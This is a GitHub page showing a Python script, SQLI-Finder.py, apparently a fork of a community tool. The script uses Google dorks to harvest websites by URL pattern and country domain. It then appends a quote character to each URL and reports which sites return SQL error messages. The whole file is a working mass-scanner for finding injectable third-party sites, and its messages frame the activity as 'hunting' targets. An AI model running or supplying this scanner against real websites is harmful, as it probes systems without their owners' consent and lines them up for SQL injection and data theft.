forked from j1t3sh/SQL-Injection-Finder
/
SQLI-Finder.py
executable file
·63 lines (51 loc) · 2.49 KB
/
SQLI-Finder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#/usr/bin/python3
from googlesearch import search
import sys
from termcolor import colored
import urllib
import urllib.request
import terminal_banner
import random
import os
os. system('clear')
banner = ("""
╔═╗╔═╗ ╦ ╦ ╔═╗╦╔╗╔╔╦╗╔═╗╦═╗
╚═╗║═╬╗║ ║───╠╣ ║║║║ ║║║╣ ╠╦╝
╚═╝╚═╝╚╩═╝╩ ╚ ╩╝╚╝═╩╝╚═╝╩╚═
Made with ❤️
For the Community, By the Community
###################################
Developed by Jitesh Kumar
Intagram - https://instagram.com/jitesh.haxx
linkedin - https://linkedin.com/j1t3sh
Github - https://github.com/j1t3sh
( DONT COPY THE CODE. CONTRIBUTIONS ARE MOST WELCOME ❤️ )
""")
banner_terminal = terminal_banner.Banner(banner)
print (colored(banner_terminal, 'green')+ "\n")
website_list=[]
dork = "inurl:" + input(colored("Please input the sqli Dork(eg- php?id=, aspx?id=) ----> ",'cyan'))
extension = "site:" + input(colored("Please specify the website extension(eg- .in,.com,.pk) -----> ",'cyan'))
total_output = int(input(colored("Pleases specify the total no. of websites you want) ----> ",'cyan')))
page_no = int(input(colored("From which Google page you want to start(eg- 1,2,3) ----> ",'cyan')))
try:
query = dork + " " + extension
pause_random = int(random.randrange(4, 10, 2))
for j in search(query, num=10,start=page_no*5,stop=total_output, pause=pause_random):
website_list.append(j)
for i in website_list:
try:
fullurl = i
resp = urllib.request.urlopen(fullurl + "'")
body = resp.read()
fullbody = body.decode('utf-8')
if "SQL syntax" in fullbody:
print(i + " ===> " + colored(" Vulnerable!",'green'))
else:
print (i + " ===> " + colored(" Not Vulnerable!",'red'))
except:
print(i + " ===> " + colored(" Can not be Determined",'blue'))
continue
except:
print("Your Ip has been blocked by Google, Wait for 1 hr. ")
print("Go chill outside then comeback & Start to hunt again :)")